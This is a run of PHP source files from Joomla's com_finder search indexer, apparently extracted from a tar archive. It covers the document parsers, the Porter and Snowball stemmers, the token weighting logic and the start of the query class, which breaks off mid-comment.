			// Set the tokens table to Memory.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MEMORY');
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Set the tokens aggregate table to Memory.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MEMORY');
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Set the internal state.
			$state = $memory;
		}
		// We must be setting the tables to the MyISAM engine.
		elseif ($memory === false && $state !== false)
		{
			// Set the tokens table to MyISAM.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens') . ' ENGINE = MYISAM');
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Set the tokens aggregate table to MyISAM.
			$db->setQuery('ALTER TABLE ' . $db->quoteName('#__finder_tokens_aggregate') . ' ENGINE = MYISAM');
			$db->query();

			// Check for a database error.
			if ($db->getErrorNum())
			{
				// Throw database error exception.
				throw new Exception($db->getErrorMsg(), 500);
			}

			// Set the internal state.
			$state = $memory;
		}

		return true;
	}
}
���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������indexer/parser/txt.php������������������������������������������������������������������������������0000666�����������������00000001337�15140234717�0011042 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Text Parser class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerParserTxt extends FinderIndexerParser
{
	/**
	 * Method to process Text input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
		return $input;
	}
}
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Order allow,deny
Deny from all
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * RTF Parser class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerParserRtf extends FinderIndexerParser
{
	/**
	 * Method to process RTF input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
		// Remove embedded pictures.
		$input = preg_replace('#{\\\pict[^}]*}#mis', '', $input);

		// Remove control characters.
		$input = str_replace(array('{', '}', "\\\n"), array(' ', ' ', "\n"), $input);
		$input = preg_replace('#\\\([^;]+?);#mis', ' ', $input);
		$input = preg_replace('#\\\[\'a-zA-Z0-9]+#mis', ' ', $input);

		return $input;
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * HTML Parser class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerParserHtml extends FinderIndexerParser
{
	/**
	 * Method to process HTML input and extract the plain text.
	 *
	 * @param   string  $input  The input to process.
	 *
	 * @return  string  The plain text input.
	 *
	 * @since   2.5
	 */
	protected function process($input)
	{
	    // Strip invalid UTF-8 characters.
        $input = iconv("utf-8", "utf-8//IGNORE", $input);

        // Strip all script tags.
		$input = preg_replace('#<script[^>]*>.*?</script>#si', ' ', $input);

		// Deal with spacing issues in the input.
		$input = str_replace('>', '> ', $input);
		$input = str_replace(array('&nbsp;', '&#160;'), ' ', $input);
		$input = trim(preg_replace('#\s+#u', ' ', $input));

		// Strip the tags from the input and decode entities.
		$input = strip_tags($input);
		$input = html_entity_decode($input, ENT_QUOTES, 'UTF-8');
		$input = trim(preg_replace('#\s+#u', ' ', $input));

		return $input;
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Porter English stemmer class for the Finder indexer package.
 *
 * This class was adapted from one written by Richard Heyes.
 * See copyright and link information above.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerStemmerPorter_En extends FinderIndexerStemmer
{
	/**
	 * Regex for matching a consonant.
	 *
	 * @var    string
	 * @since  2.5
	 */
	private static $_regex_consonant = '(?:[bcdfghjklmnpqrstvwxz]|(?<=[aeiou])y|^y)';

	/**
	 * Regex for matching a vowel
	 * @var    string
	 * @since  2.5
	 */
	private static $_regex_vowel = '(?:[aeiou]|(?<![aeiou])y)';

	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public function stem($token, $lang)
	{
		// Check if the token is long enough to merit stemming.
		if (strlen($token) <= 2)
		{
			return $token;
		}

		// Check if the language is English or All.
		if ($lang !== 'en' && $lang != '*')
		{
			return $token;
		}

		// Stem the token if it is not in the cache.
		if (!isset($this->cache[$lang][$token]))
		{
			// Stem the token.
			$result = $token;
			$result = self::_step1ab($result);
			$result = self::_step1c($result);
			$result = self::_step2($result);
			$result = self::_step3($result);
			$result = self::_step4($result);
			$result = self::_step5($result);

			// Add the token to the cache.
			$this->cache[$lang][$token] = $result;
		}

		return $this->cache[$lang][$token];
	}

	/**
	 * Step 1
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step1ab($word)
	{
		// Part a
		if (substr($word, -1) == 's')
		{
				self::_replace($word, 'sses', 'ss')
			or self::_replace($word, 'ies', 'i')
			or self::_replace($word, 'ss', 'ss')
			or self::_replace($word, 's', '');
		}

		// Part b
		if (substr($word, -2, 1) != 'e' or !self::_replace($word, 'eed', 'ee', 0))
		{
			// First rule
			$v = self::$_regex_vowel;

			// ing and ed
			// Note use of && and OR, for precedence reasons
			if (preg_match("#$v+#", substr($word, 0, -3)) && self::_replace($word, 'ing', '')
				or preg_match("#$v+#", substr($word, 0, -2)) && self::_replace($word, 'ed', ''))
			{
				// If one of above two test successful
				if (!self::_replace($word, 'at', 'ate') and !self::_replace($word, 'bl', 'ble') and !self::_replace($word, 'iz', 'ize'))
				{
					// Double consonant ending
					if (self::_doubleConsonant($word) and substr($word, -2) != 'll' and substr($word, -2) != 'ss' and substr($word, -2) != 'zz')
					{
						$word = substr($word, 0, -1);
					}
					elseif (self::_m($word) == 1 and self::_cvc($word))
					{
						$word .= 'e';
					}
				}
			}
		}

		return $word;
	}

	/**
	 * Step 1c
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step1c($word)
	{
		$v = self::$_regex_vowel;

		if (substr($word, -1) == 'y' && preg_match("#$v+#", substr($word, 0, -1)))
		{
			self::_replace($word, 'y', 'i');
		}

		return $word;
	}

	/**
	 * Step 2
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step2($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
					self::_replace($word, 'ational', 'ate', 0)
				or self::_replace($word, 'tional', 'tion', 0);
				break;
			case 'c':
					self::_replace($word, 'enci', 'ence', 0)
				or self::_replace($word, 'anci', 'ance', 0);
				break;
			case 'e':
				self::_replace($word, 'izer', 'ize', 0);
				break;
			case 'g':
				self::_replace($word, 'logi', 'log', 0);
				break;
			case 'l':
					self::_replace($word, 'entli', 'ent', 0)
				or self::_replace($word, 'ousli', 'ous', 0)
				or self::_replace($word, 'alli', 'al', 0)
				or self::_replace($word, 'bli', 'ble', 0)
				or self::_replace($word, 'eli', 'e', 0);
				break;
			case 'o':
					self::_replace($word, 'ization', 'ize', 0)
				or self::_replace($word, 'ation', 'ate', 0)
				or self::_replace($word, 'ator', 'ate', 0);
				break;
			case 's':
					self::_replace($word, 'iveness', 'ive', 0)
				or self::_replace($word, 'fulness', 'ful', 0)
				or self::_replace($word, 'ousness', 'ous', 0)
				or self::_replace($word, 'alism', 'al', 0);
				break;
			case 't':
					self::_replace($word, 'biliti', 'ble', 0)
				or self::_replace($word, 'aliti', 'al', 0)
				or self::_replace($word, 'iviti', 'ive', 0);
				break;
		}

		return $word;
	}

	/**
	 * Step 3
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step3($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
				self::_replace($word, 'ical', 'ic', 0);
				break;
			case 's':
				self::_replace($word, 'ness', '', 0);
				break;
			case 't':
					self::_replace($word, 'icate', 'ic', 0)
				or self::_replace($word, 'iciti', 'ic', 0);
				break;
			case 'u':
				self::_replace($word, 'ful', '', 0);
				break;
			case 'v':
				self::_replace($word, 'ative', '', 0);
				break;
			case 'z':
				self::_replace($word, 'alize', 'al', 0);
				break;
		}

		return $word;
	}

	/**
	 * Step 4
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step4($word)
	{
		switch (substr($word, -2, 1))
		{
			case 'a':
				self::_replace($word, 'al', '', 1);
				break;
			case 'c':
					self::_replace($word, 'ance', '', 1)
				or self::_replace($word, 'ence', '', 1);
				break;
			case 'e':
				self::_replace($word, 'er', '', 1);
				break;
			case 'i':
				self::_replace($word, 'ic', '', 1);
				break;
			case 'l':
					self::_replace($word, 'able', '', 1)
				or self::_replace($word, 'ible', '', 1);
				break;
			case 'n':
					self::_replace($word, 'ant', '', 1)
				or self::_replace($word, 'ement', '', 1)
				or self::_replace($word, 'ment', '', 1)
				or self::_replace($word, 'ent', '', 1);
				break;
			case 'o':
				if (substr($word, -4) == 'tion' or substr($word, -4) == 'sion')
				{
					self::_replace($word, 'ion', '', 1);
				}
				else
				{
					self::_replace($word, 'ou', '', 1);
				}
				break;
			case 's':
				self::_replace($word, 'ism', '', 1);
				break;
			case 't':
					self::_replace($word, 'ate', '', 1)
				or self::_replace($word, 'iti', '', 1);
				break;
			case 'u':
				self::_replace($word, 'ous', '', 1);
				break;
			case 'v':
				self::_replace($word, 'ive', '', 1);
				break;
			case 'z':
				self::_replace($word, 'ize', '', 1);
				break;
		}

		return $word;
	}

	/**
	 * Step 5
	 *
	 * @param   string  $word  The token to stem.
	 *
	 * @return  string
	 *
	 * @since   2.5
	 */
	private static function _step5($word)
	{
		// Part a
		if (substr($word, -1) == 'e')
		{
			if (self::_m(substr($word, 0, -1)) > 1)
			{
				self::_replace($word, 'e', '');
			}
			elseif (self::_m(substr($word, 0, -1)) == 1)
			{
				if (!self::_cvc(substr($word, 0, -1)))
				{
					self::_replace($word, 'e', '');
				}
			}
		}

		// Part b
		if (self::_m($word) > 1 and self::_doubleConsonant($word) and substr($word, -1) == 'l')
		{
			$word = substr($word, 0, -1);
		}

		return $word;
	}

	/**
	 * Replaces the first string with the second, at the end of the string. If third
	 * arg is given, then the preceding string must match that m count at least.
	 *
	 * @param   string   &$str   String to check
	 * @param   string   $check  Ending to check for
	 * @param   string   $repl   Replacement string
	 * @param   integer  $m      Optional minimum number of m() to meet
	 *
	 * @return  boolean  Whether the $check string was at the end
	 *                   of the $str string. True does not necessarily mean
	 *                   that it was replaced.
	 *
	 * @since   2.5
	 */
	private static function _replace(&$str, $check, $repl, $m = null)
	{
		$len = 0 - strlen($check);

		if (substr($str, $len) == $check)
		{
			$substr = substr($str, 0, $len);
			if (is_null($m) or self::_m($substr) > $m)
			{
				$str = $substr . $repl;
			}
			return true;
		}
		return false;
	}

	/**
	 * m() measures the number of consonant sequences in $str. if c is
	 * a consonant sequence and v a vowel sequence, and <..> indicates arbitrary
	 * presence,
	 *
	 * <c><v>       gives 0
	 * <c>vc<v>     gives 1
	 * <c>vcvc<v>   gives 2
	 * <c>vcvcvc<v> gives 3
	 *
	 * @param   string  $str  The string to return the m count for
	 *
	 * @return  integer  The m count
	 *
	 * @since   2.5
	 */
	private static function _m($str)
	{
		$c = self::$_regex_consonant;
		$v = self::$_regex_vowel;

		$str = preg_replace("#^$c+#", '', $str);
		$str = preg_replace("#$v+$#", '', $str);

		preg_match_all("#($v+$c+)#", $str, $matches);

		return count($matches[1]);
	}

	/**
	 * Returns true/false as to whether the given string contains two
	 * of the same consonant next to each other at the end of the string.
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  boolean  Result
	 *
	 * @since   2.5
	 */
	private static function _doubleConsonant($str)
	{
		$c = self::$_regex_consonant;

		return preg_match("#$c{2}$#", $str, $matches) and $matches[0]{0} == $matches[0]{1};
	}

	/**
	 * Checks for ending CVC sequence where second C is not W, X or Y
	 *
	 * @param   string  $str  String to check
	 *
	 * @return  boolean  Result
	 *
	 * @since   2.5
	 */
	private static function _cvc($str)
	{
		$c = self::$_regex_consonant;
		$v = self::$_regex_vowel;

		return preg_match("#($c$v$c)$#", $str, $matches) and strlen($matches[1]) == 3 and $matches[1]{2} != 'w' and $matches[1]{2} != 'x' and $matches[1]{2} != 'y';
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Snowball stemmer class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerStemmerSnowball extends FinderIndexerStemmer
{
	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	public function stem($token, $lang)
	{
		// Language to use if All is specified.
		static $defaultLang = '';

		// If language is All then try to get site default language.
		if ($lang == '*' && $defaultLang == '') {
			$languages = JLanguageHelper::getLanguages();
			$defaultLang = isset($languages[0]->sef) ? $languages[0]->sef : '*';
			$lang = $defaultLang;
		}

		// Stem the token if it is not in the cache.
		if (!isset($this->cache[$lang][$token]))
		{
			// Get the stem function from the language string.
			switch ($lang)
			{
				// Danish stemmer.
				case 'da':
					$function = 'stem_danish';
					break;

				// German stemmer.
				case 'de':
					$function = 'stem_german';
					break;

				// English stemmer.
				default:
				case 'en':
					$function = 'stem_english';
					break;

				// Spanish stemmer.
				case 'es':
					$function = 'stem_spanish';
					break;

				// Finnish stemmer.
				case 'fi':
					$function = 'stem_finnish';
					break;

				// French stemmer.
				case 'fr':
					$function = 'stem_french';
					break;

				// Hungarian stemmer.
				case 'hu':
					$function = 'stem_hungarian';
					break;

				// Italian stemmer.
				case 'it':
					$function = 'stem_italian';
					break;

				// Norwegian stemmer.
				case 'nb':
					$function = 'stem_norwegian';
					break;

				// Dutch stemmer.
				case 'nl':
					$function = 'stem_dutch';
					break;

				// Portuguese stemmer.
				case 'pt':
					$function = 'stem_portuguese';
					break;

				// Romanian stemmer.
				case 'ro':
					$function = 'stem_romanian';
					break;

				// Russian stemmer.
				case 'ru':
					$function = 'stem_russian_unicode';
					break;

				// Swedish stemmer.
				case 'sv':
					$function = 'stem_swedish';
					break;

				// Turkish stemmer.
				case 'tr':
					$function = 'stem_turkish_unicode';
					break;
			}

			// Stem the word if the stemmer method exists.
			$this->cache[$lang][$token] = function_exists($function) ? $function($token) : $token;
		}

		return $this->cache[$lang][$token];
	}
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Stemmer base class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
abstract class FinderIndexerStemmer
{
	/**
	 * An internal cache of stemmed tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $cache = array();

	/**
	 * Method to get a stemmer, creating it if necessary.
	 *
	 * @param   string  $adapter  The type of stemmer to load.
	 *
	 * @return  FinderIndexerStemmer  A FinderIndexerStemmer instance.
	 *
	 * @since   2.5
	 * @throws  Exception on invalid stemmer.
	 */
	public static function getInstance($adapter)
	{
		static $instances;

		// Only create one stemmer for each adapter.
		if (isset($instances[$adapter]))
		{
			return $instances[$adapter];
		}

		// Create an array of instances if necessary.
		if (!is_array($instances))
		{
			$instances = array();
		}

		// Setup the adapter for the stemmer.
		$adapter = JFilterInput::getInstance()->clean($adapter, 'cmd');
		$path = dirname(__FILE__) . '/stemmer/' . $adapter . '.php';
		$class = 'FinderIndexerStemmer' . ucfirst($adapter);

		// Check if a stemmer exists for the adapter.
		if (file_exists($path))
		{
			// Instantiate the stemmer.
			include_once $path;
			$instances[$adapter] = new $class;
		}
		else
		{
			// Throw invalid adapter exception.
			throw new Exception(JText::sprintf('COM_FINDER_INDEXER_INVALID_STEMMER', $adapter));
		}

		return $instances[$adapter];
	}

	/**
	 * Method to stem a token and return the root.
	 *
	 * @param   string  $token  The token to stem.
	 * @param   string  $lang   The language of the token.
	 *
	 * @return  string  The root token.
	 *
	 * @since   2.5
	 */
	abstract public function stem($token, $lang);
}
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/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

/**
 * Token class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerToken
{
	/**
	 * This is the term that will be referenced in the terms table and the
	 * mapping tables.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $term;

	/**
	 * The stem is used to match the root term and produce more potential
	 * matches when searching the index.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $stem;

	/**
	 * If the token is numeric, it is likely to be short and uncommon so the
	 * weight is adjusted to compensate for that situation.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $numeric;

	/**
	 * If the token is a common term, the weight is adjusted to compensate for
	 * the higher frequency of the term in relation to other terms.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $common;

	/**
	 * Flag for phrase tokens.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $phrase;

	/**
	 * The length is used to calculate the weight of the token.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $length;

	/**
	 * The weight is calculated based on token size and whether the token is
	 * considered a common term.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $weight;

	/**
	 * Method to construct the token object.
	 *
	 * @param   mixed   $term    The term as a string for words or an array for phrases.
	 * @param   string  $lang    The simple language identifier.
	 * @param   string  $spacer  The space separator for phrases. [optional]
	 *
	 * @since   2.5
	 */
	public function __construct($term, $lang, $spacer = ' ')
	{
		// Tokens can be a single word or an array of words representing a phrase.
		if (is_array($term))
		{
			// Populate the token instance.
			$this->term = implode($spacer, $term);
			$this->stem = implode($spacer, array_map(array('FinderIndexerHelper', 'stem'), $term, array($lang)));
			$this->numeric = false;
			$this->common = false;
			$this->phrase = true;
			$this->length = JString::strlen($this->term);

			/*
			 * Calculate the weight of the token.
			 *
			 * 1. Length of the token up to 30 and divide by 30, add 1.
			 * 2. Round weight to 4 decimal points.
			 */
			$this->weight = (($this->length >= 30 ? 30 : $this->length) / 30) + 1;
			$this->weight = round($this->weight, 4);
		}
		else
		{
			// Populate the token instance.
			$this->term = $term;
			$this->stem = FinderIndexerHelper::stem($this->term, $lang);
			$this->numeric = (is_numeric($this->term) || (bool) preg_match('#^[0-9,.\-\+]+$#', $this->term));
			$this->common = $this->numeric ? false : FinderIndexerHelper::isCommon($this->term, $lang);
			$this->phrase = false;
			$this->length = JString::strlen($this->term);

			/*
			 * Calculate the weight of the token.
			 *
			 * 1. Length of the token up to 15 and divide by 15.
			 * 2. If common term, divide weight by 8.
			 * 3. If numeric, multiply weight by 1.5.
			 * 4. Round weight to 4 decimal points.
			 */
			$this->weight = (($this->length >= 15 ? 15 : $this->length) / 15);
			$this->weight = ($this->common == true ? $this->weight / 8 : $this->weight);
			$this->weight = ($this->numeric == true ? $this->weight * 1.5 : $this->weight);
			$this->weight = round($this->weight, 4);
		}
	}
}
��indexer/query.php�����������������������������������������������������������������������������������0000666�����������������00000110633�15140234717�0010074 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   Copyright (C) 2005 - 2014 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// Register dependent classes.
JLoader::register('FinderIndexerHelper', dirname(__FILE__) . '/helper.php');
JLoader::register('FinderIndexerTaxonomy', dirname(__FILE__) . '/taxonomy.php');
JLoader::register('FinderHelperRoute', JPATH_SITE . '/components/com_finder/helpers/route.php');
JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Query class for the Finder indexer package.
 *
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 * @since       2.5
 */
class FinderIndexerQuery
{
	/**
	 * Flag to show whether the query can return results.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $search;

	/**
	 * The query input string.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $input;

	/**
	 * The language of the query.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $language;

	/**
	 * The query string matching mode.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $mode;

	/**
	 * The included tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $included = array();

	/**
	 * The excluded tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $excluded = array();

	/**
	 * The tokens to ignore because no matches exist.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $ignored = array();

	/**
	 * The operators used in the query input string.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $operators = array();

	/**
	 * The terms to highlight as matches.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $highlight = array();

	/**
	 * The number of matching terms for the query input.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $terms;

	/**
	 * The static filter id.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $filter;

	/**
	 * The taxonomy filters. This is a multi-dimensional array of taxonomy
	 * branches as the first level and then the taxonomy nodes as the values.
	 *
	 * For example:
	 * $filters = array(
	 *     'Type' = array(10, 32, 29, 11, ...);
	 *     'Label' = array(20, 314, 349, 91, 82, ...);
	 * 		...
	 * );
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $filters = array();

	/**
	 * The start date filter.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $date1;

	/**
	 * The end date filter.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $date2;

	/**
	 * The start date filter modifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $when1;

	/**
	 * The end date filter modifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $when2;

	/**
	 * Method to instantiate the query object.
	 *
	 * @param   array  $options  An array of query options.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function __construct($options)
	{
		// Get the input string.
		$this->input = isset($options['input']) ? $options['input'] : null;

		// Get the empty query setting.
		$this->empty = isset($options['empty']) ? (bool) $options['empty'] : false;

		// Get the input language.
		$this->language = !empty($options['language']) ? $options['language'] : FinderIndexerHelper::getDefaultLanguage();
		$this->language = FinderIndexerHelper::getPrimaryLanguage($this->language);

		// Get the matching mode.
		$this->mode = 'AND';

		// Initialize the temporary date storage.
		$this->dates = new JRegistry;

		// Populate the temporary date storage.
		if (isset($options['date1']) && !empty($options['date1']))
		{
			$this->dates->set('date1', $options['date1']);
		}
		if (isset($options['date2']) && !empty($options['date1']))
		{
			$this->dates->set('date2', $options['date2']);
		}
		if (isset($options['when1']) && !empty($options['date1']))
		{
			$this->dates->set('when1', $options['when1']);
		}
		if (isset($options['when2']) && !empty($options['date1']))
		{
			$this->dates->set('when2', $options['when2']);
		}

		// Process the static taxonomy filters.
		if (isset($options['filter']) && !empty($options['filter']))
		{
			$this->processStaticTaxonomy($options['filter']);
		}

		// Process the dynamic taxonomy filters.
		if (isset($options['filters']) && !empty($options['filters']))
		{
			$this->processDynamicTaxonomy($options['filters']);
		}

		// Get the date filters.
		$d1 = $this->dates->get('date1');
		$d2 = $this->dates->get('date2');
		$w1 = $this->dates->get('when1');
		$w2 = $this->dates->get('when2');

		// Process the date filters.
		if (!empty($d1) || !empty($d2))
		{
			$this->processDates($d1, $d2, $w1, $w2);
		}

		// Process the input string.
		$this->processString($this->input, $this->language, $this->mode);

		// Get the number of matching terms.
		foreach ($this->included as $token)
		{
			$this->terms += count($token->matches);
		}

		// Remove the temporary date storage.
		unset($this->dates);

		/*
		 * Lastly, determine whether this query can return a result set.
		 */
		// Check if we have a query string.
		if (!empty($this->input))
		{
			$this->search = true;
		}
		// Check if we can search without a query string.
		elseif ($this->empty && (!empty($this->filter) || !empty($this->filters) || !empty($this->date1) || !empty($this->date2)))
		{
			$this->search = true;
		}
		// We do not have a valid search query.
		else
		{
			$this->search = false;
		}
	}

	/**
	 * Method to convert the query object into a URI string.
	 *
	 * @param   string  $base  The base URI. [optional]
	 *
	 * @return  string  The complete query URI.
	 *
	 * @since   2.5
	 */
	public function toURI($base = null)
	{
		// Set the base if not specified.
		if (empty($base))
		{
			$base = 'index.php?option=com_finder&view=search';
		}

		// Get the base URI.
		$uri = JURI::getInstance($base);

		// Add the static taxonomy filter if present.
		if (!empty($this->filter))
		{
			$uri->setVar('f', $this->filter);
		}

		// Get the filters in the request.
		$input = JFactory::getApplication()->input;
		$t = $input->request->get('t', array(), 'array');

		// Add the dynamic taxonomy filters if present.
		if (!empty($this->filters))
		{
			foreach ($this->filters as $nodes)
			{
				foreach ($nodes as $node)
				{
					if (!in_array($node, $t))
					{
						continue;
					}
					$uri->setVar('t[]', $node);
				}
			}
		}

		// Add the input string if present.
		if (!empty($this->input))
		{
			$uri->setVar('q', $this->input);
		}

		// Add the start date if present.
		if (!empty($this->date1))
		{
			$uri->setVar('d1', $this->date1);
		}

		// Add the end date if present.
		if (!empty($this->date2))
		{
			$uri->setVar('d2', $this->date2);
		}

		// Add the start date modifier if present.
		if (!empty($this->when1))
		{
			$uri->setVar('w1', $this->when1);
		}

		// Add the end date modifier if present.
		if (!empty($this->when2))
		{
			$uri->setVar('w2', $this->when2);
		}

		// Add a menu item id if one is not present.
		if (!$uri->getVar('Itemid'))
		{
			// Get the menu item id.
			$query = array(
				'view' => $uri->getVar('view'),
				'f' => $uri->getVar('f'),
				'q' => $uri->getVar('q')
			);
			$item = FinderHelperRoute::getItemid($query);

			// Add the menu item id if present.
			if ($item !== null)
			{
				$uri->setVar('Itemid', $item);
			}
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get a list of excluded search term ids.
	 *
	 * @return  array  An array of excluded term ids.
	 *
	 * @since   2.5
	 */
	public function getExcludedTermIds()
	{
		$results = array();

		// Iterate through the excluded tokens and compile the matching terms.
		for ($i = 0, $c = count($this->excluded); $i < $c; $i++)
		{
			$results = array_merge($results, $this->excluded[$i]->matches);
		}

		// Sanitize the terms.
		//@TODO: Should toInteger use $return?
		$return = array_unique($results);
		JArrayHelper::toInteger($results);

		return $results;
	}

	/**
	 * Method to get a list of included search term ids.
	 *
	 * @return  array  An array of included term ids.
	 *
	 * @since   2.5
	 */
	public function getIncludedTermIds()
	{
		$results = array();

		// Iterate through the included tokens and compile the matching terms.
		for ($i = 0, $c = count($this->included); $i < $c; $i++)
		{
			// Check if we have any terms.
			if (empty($this->included[$i]->matches))
			{
				continue;
			}

			// Get the term.
			$term = $this->included[$i]->term;

			// Prepare the container for the term if necessary.
			if (!array_key_exists($term, $results))
			{
				$results[$term] = array();
			}

			// Add the matches to the stack.
			$results[$term] = array_merge($results[$term], $this->included[$i]->matches);
		}

		// Sanitize the terms.
		foreach ($results as $key => $value)
		{
			$results[$key] = array_unique($results[$key]);
			JArrayHelper::toInteger($results[$key]);
		}

		return $results;
	}

	/**
	 * Method to get a list of required search term ids.
	 *
	 * @return  array  An array of required term ids.
	 *
	 * @since   2.5
	 */
	public function getRequiredTermIds()
	{
		$results = array();

		// Iterate through the included tokens and compile the matching terms.
		for ($i = 0, $c = count($this->included); $i < $c; $i++)
		{
			// Check if the token is required.
			if ($this->included[$i]->required)
			{
				// Get the term.
				$term = $this->included[$i]->term;

				// Prepare the container for the term if necessary.
				if (!array_key_exists($term, $results))
				{
					$results[$term] = array();
				}

				// Add the matches to the stack.
				$results[$term] = array_merge($results[$term], $this->included[$i]->matches);
			}
		}

		// Sanitize the terms.
		foreach ($results as $key => $value)
		{
			$results[$key] = array_unique($results[$key]);
			JArrayHelper::toInteger($results[$key]);
		}

		return $results;
	}

	/**
	 * Method to process the static taxonomy input. The static taxonomy input
